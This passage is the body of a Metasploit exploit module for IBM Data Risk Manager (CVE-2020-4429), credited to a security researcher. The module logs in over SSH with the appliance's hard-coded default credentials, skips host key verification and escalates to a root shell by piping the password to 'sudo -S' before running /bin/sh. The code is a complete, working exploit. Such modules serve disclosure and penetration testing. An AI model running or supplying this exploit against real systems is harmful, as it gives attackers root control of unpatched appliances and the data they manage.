The 'a3user'          has the default password 'idrm' and allows an attacker to log in to the virtual appliance          via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.          At the time of disclosure, this is a 0day. Versions <= 2.0.3 are confirmed to be          affected, and the latest 2.0.6 is most likely affected too.        },        'License' => MSF_LICENSE,        'Author' =>          [            'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module          ],        'References' =>          [            [ 'CVE', '2020-4429' ], # insecure default password            [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],            [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ]          ],        'Payload' =>          {            'Compat' => {              'PayloadType' => 'cmd_interact',              'ConnectionType' => 'find'            }          },        'Platform' => 'unix',        'Arch' => ARCH_CMD,        'Targets' =>          [            [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ]          ],        'Privileged' => true,        'DefaultTarget' => 0,        'DisclosureDate' => '2020-04-21'      )    )    register_options(      [        Opt::RPORT(22),        OptString.new('USERNAME', [true, 'Username to login with', 'a3user']),        OptString.new('PASSWORD', [true, 'Password to login with', 'idrm'])      ]    )    register_advanced_options(      [        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])      ]    )  end  def on_new_session(client)    print_status("#{peer} - Escalating privileges to root, please wait a few seconds...")    # easiest way I found to get passwordless root, not sure if there's a shorter command    client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh")    print_good("#{peer} - Done, enjoy your root shell!")  end  def rhost    datastore['RHOST']  end  def rport    datastore['RPORT']  end  def peer    "#{rhost}:#{rport}"  end  def do_login(user, pass)    factory = ssh_socket_factory    opts = {      auth_methods: ['password', 'keyboard-interactive'],      port: rport,      use_agent: false,      config: false,      password: pass,      proxy: factory,      non_interactive: true,      verify_host_key: :never    }    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']    begin      ssh =        ::Timeout.timeout(datastore['SSH_TIMEOUT']) do          Net::SSH.start(rhost, user, opts)        end    rescue Rex::ConnectionError      fail_with(Failure::Unknown, "#{peer} SSH - Connection error")    rescue Net::SSH::Disconnect, ::EOFError      fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")    rescue ::Timeout::Error      fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")    rescue Net::SSH::AuthenticationFailed      fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")    rescue Net::SSH::Exception => e      fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")    end    return Net::SSH::CommandStream.new(ssh) if ssh    nil  end  def exploit    user = datastore['USERNAME']    pass = datastore['PASSWORD']    print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...")    conn = do_login(user, pass)    if conn      print_good("#{peer} - Login successful (#{user}:#{pass})")      handler(conn.lsock)    end  endend
